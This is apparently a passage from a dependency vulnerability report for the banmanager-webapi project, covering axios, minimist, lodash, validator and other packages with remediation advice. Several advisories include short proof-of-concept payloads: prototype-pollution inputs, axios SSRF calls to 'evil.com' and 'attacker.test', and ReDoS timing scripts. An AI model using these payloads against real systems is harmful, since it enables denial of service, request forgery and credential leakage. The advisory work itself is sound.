When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution n the getMergedValue() function of lib/core/mergeConfig.js, which clones nested option objects such as auth and paramsSerializer into plain {} containers that inherit from Object.prototype, so downstream reads in lib/helpers/resolveConfig.js, lib/adapters/http.js, and lib/helpers/buildURL.js pick up polluted values without own-property checks. An attacker who can pollute Object.prototype can inject an Authorization: Basic header or fully override query-string serialization through paramsSerializer.serialize, enabling request tampering, cache poisoning, or signature-check bypass, on axios calls that pass placeholder nested objects like auth: {} or paramsSerializer: {}. Exploitation requires a separate component to have already polluted Object.prototype and the application to pass empty or partial nested option objects.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution in the bodyless method aliases in lib/core/Axios.js, the proxy handling in lib/adapters/http.js, and the paramsSerializer read in lib/helpers/resolveConfig.js, which read data, proxy, and paramsSerializer off the config without own-property checks, so polluted Object.prototype values are picked up. An attacker who can pollute Object.prototype can attach body data to a bodyless request such as axios.get(), route requests through an attacker-controlled proxy, or execute an attacker-supplied paramsSerializer during URL serialization, by setting Object.prototype.data, Object.prototype.proxy, or Object.prototype.paramsSerializer. Exploitation requires a separate component to have already polluted Object.prototype, commonly through a transitive dependency.

Note: This is a bypass of the fix for the vulnerability described in CVE-2026-42264.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

medium severity

Unintended Proxy or Intermediary ('Confused Deputy')

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: graphql-tools@4.0.7, koa-session@5.13.1 and others

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-tools@4.0.7 › uuid@3.4.0
    Remediation: Upgrade to graphql-tools@6.0.0.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › koa-session@5.13.1 › uuid@3.4.0
    Remediation: Upgrade to koa-session@7.0.1.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › graphql-tools@3.1.1 › uuid@3.4.0
    Remediation: Upgrade to graphql-constraint-directive@2.0.0.

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

medium severity

Server-Side Request Forgery (SSRF)

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: db-migrate@0.11.6

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › db-migrate@0.11.6 › optimist@0.6.1 › minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Remote Memory Exposure

  • Vulnerable module: node-addon-api
  • Introduced through: argon2-ffi@1.1.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › argon2-ffi@1.1.2 › ffi-napi@2.5.0 › node-addon-api@1.6.1
    Remediation: Upgrade to argon2-ffi@2.0.0.

Overview

node-addon-api is a This module contains header-only C++ wrapper classes which simplify the use of the C based N-API provided by Node.js when using C++. It provides a C++ object model and exception handling semantics with low overhead.

Affected versions of this package are vulnerable to Remote Memory Exposure via the napi_get_value_string_utf8, napi_get_value_string_latin1 and napi_get_value_string_utf16 functions.

Remediation

Upgrade node-addon-api to version 1.7.2, 2.0.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2
    Remediation: Upgrade to hibp@8.0.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2 › follow-redirects@1.5.10
    Remediation: Upgrade to hibp@8.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking the cookie header to a third party site in the process of fetching a remote URL with the cookie in the request body. If the response contains a location header, it will follow the redirect to another URL of a potentially malicious actor, to which the cookie would be exposed.

Remediation

Upgrade follow-redirects to version 1.14.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: lodash
  • Introduced through: lodash@4.17.15

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › lodash@4.17.15
    Remediation: Upgrade to lodash@4.17.21.

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

POC

var lo = require('lodash');

function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}

return ret + "1";
}

var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)

var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)

var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: validator
  • Introduced through: validator@10.11.0 and graphql-constraint-directive@1.4.1

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › validator@10.11.0
    Remediation: Upgrade to validator@13.15.20.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › validator@10.11.0
    Remediation: Upgrade to graphql-constraint-directive@2.2.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@10.11.0 and graphql-constraint-directive@1.4.1

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › validator@10.11.0
    Remediation: Upgrade to validator@13.6.0.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › validator@10.11.0
    Remediation: Upgrade to graphql-constraint-directive@2.2.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@10.11.0 and graphql-constraint-directive@1.4.1

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › validator@10.11.0
    Remediation: Upgrade to validator@13.6.0.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › validator@10.11.0
    Remediation: Upgrade to graphql-constraint-directive@2.2.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
